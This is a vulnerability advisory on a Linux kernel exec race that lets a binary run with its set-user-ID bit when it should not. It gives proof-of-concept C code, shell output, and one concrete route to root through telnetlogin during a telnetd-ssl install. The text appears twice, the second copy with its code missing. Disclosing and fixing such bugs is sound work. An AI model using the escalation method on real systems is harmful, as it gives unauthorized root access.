Summary
There is a Time-of-Check / Time-of-Use issue in the Linux kernel in the exec system calls. The executability permissions are checked at a different time than the set-user-ID bit is applied. This could lead to privilege escalation.
Let’s imagine a binary that would give an attacker some power if they could somehow run it with a set-user-ID bit set. There are two states that should be safe for this binary:
- The binary is set-user-ID root, but not executable by the attacker.
- The binary is not set-user-ID, but is executable by the attacker
Yet, because of the race condition above, transitioning between these two safe states is itself NOT safe. This turns out to be exploitable in the real world (see below).
Severity
Moderate - Exploitation could lead to privilege escalation.
Proof of Concept
(tested at commit: 5189dafa4cf950e675f02ee04b577dfbbad0d9b1
)
Consider a checker program that prints a message if it is running as root:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
if (geteuid() == 0) {
fprintf(stderr, "[#] I am root\n");
}
return 0;
}
Compiled into ./checker
, owned by root:root
, with no permissions.
We would also have a looping program that continuously changes the permissions between a set-user-ID binary and an executable binary. It is important to note that at no point the file should be both executable and set-user-ID.
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
int main(void) {
while (true) {
if (chmod("./checker", S_ISUID) == -1) {
perror("chmod set-user-ID");
exit(EXIT_FAILURE);
}
if (chmod("./checker", S_IXOTH) == -1) {
perror("chmod executable");
exit(EXIT_FAILURE);
}
}
}
This is compiled into ./looping
, ran by root
.
# chown root:root ./checker
# chmod a= ./checker
# ls -l ./checker
---------- 1 root root 16048 Aug 7 13:16 ./checker
# ./looping
And then, run from a regular user:
$ ./checker
[#] I am root
$ ls -l ./checker
---------x 1 root root 16048 Aug 7 13:16 ./checker
$ ls -l ./checker
---S------ 1 root root 16048 Aug 7 13:16 ./checker
$ ./checker
$ ./checker
[#] I am root
$ ./checker
-bash: ./checker: Permission denied
Which will result in the binary being (sometimes) executed as a set-user-ID binary.
Further Analysis
In order to exploit this bug, you would need to be able to execute a program while its mode is changing. You will also need a program with enough privileges to change the file permissions, setting the set-user-ID bit.
This is somewhat common during program installation. For example, Debian says:
Some setuid programs need to be restricted to particular sets of users, using file permissions. In this case they should be owned by the uid to which they are set-id, and by the group which should be allowed to execute them. They should have mode 4754; again there is no point in making them unreadable to those users who must not be allowed to execute them.
One way of doing it is with dpkg-statoverride.
Basically, we are looking for packages that install a set-user-ID binary restricted to some particular group.
For example, the telnetd-ssl
Debian package, sets the telnetlogin
binary as set-user-ID root, executable by members of the telnetd-ssl
group. The binary permissions transition from 0755
to 04754
.
By spamming executions of /usr/lib/telnetlogin -f root
while telnetd-ssl
is being installed or updated, one can get a root shell.
I haven’t analyzed other debian packages for affected binaries, nor looked into other Linux distributions.
FreeBSD and Mac OS seem to be unaffected (the poc binary doesn’t get executed or is executed without set-user-ID).
In summary, this is hard to exploit and requires a timing dependency on an action that might be outside of the control of an attacker.
Some possible fixes:
Check executability permissions when looking for the set-user-ID bit.
Delay modifying file permissions until after exec runs.
Status: Fix has landed in the Linux Kernel.
Timeline
Date reported: 08/08/2024
Date fixed: 08/13/2024
Date disclosed: 12/02/2024
Summary
There is a Time-of-Check / Time-of-Use issue in the Linux kernel in the exec system calls. The executability permissions are checked at a different time than the set-user-ID bit is applied. This could lead to privilege escalation.
Let’s imagine a binary that would give an attacker some power if they could somehow run it with a set-user-ID bit set. There are two states that should be safe for this binary:
Yet, because of the race condition above, transitioning between these two safe states is itself NOT safe. This turns out to be exploitable in the real world (see below).
Severity
Moderate - Exploitation could lead to privilege escalation.
Proof of Concept
(tested at commit:
5189dafa4cf950e675f02ee04b577dfbbad0d9b1
)Consider a checker program that prints a message if it is running as root:
Compiled into
./checker
, owned byroot:root
, with no permissions.We would also have a looping program that continuously changes the permissions between a set-user-ID binary and an executable binary. It is important to note that at no point the file should be both executable and set-user-ID.
This is compiled into
./looping
, ran byroot
.And then, run from a regular user:
Which will result in the binary being (sometimes) executed as a set-user-ID binary.
Further Analysis
In order to exploit this bug, you would need to be able to execute a program while its mode is changing. You will also need a program with enough privileges to change the file permissions, setting the set-user-ID bit.
This is somewhat common during program installation. For example, Debian says:
One way of doing it is with dpkg-statoverride.
Basically, we are looking for packages that install a set-user-ID binary restricted to some particular group.
For example, the
telnetd-ssl
Debian package, sets thetelnetlogin
binary as set-user-ID root, executable by members of thetelnetd-ssl
group. The binary permissions transition from0755
to04754
.By spamming executions of
/usr/lib/telnetlogin -f root
whiletelnetd-ssl
is being installed or updated, one can get a root shell.I haven’t analyzed other debian packages for affected binaries, nor looked into other Linux distributions.
FreeBSD and Mac OS seem to be unaffected (the poc binary doesn’t get executed or is executed without set-user-ID).
In summary, this is hard to exploit and requires a timing dependency on an action that might be outside of the control of an attacker.
Some possible fixes:
Check executability permissions when looking for the set-user-ID bit.
Delay modifying file permissions until after exec runs.
Status: Fix has landed in the Linux Kernel.
Timeline
Date reported: 08/08/2024
Date fixed: 08/13/2024
Date disclosed: 12/02/2024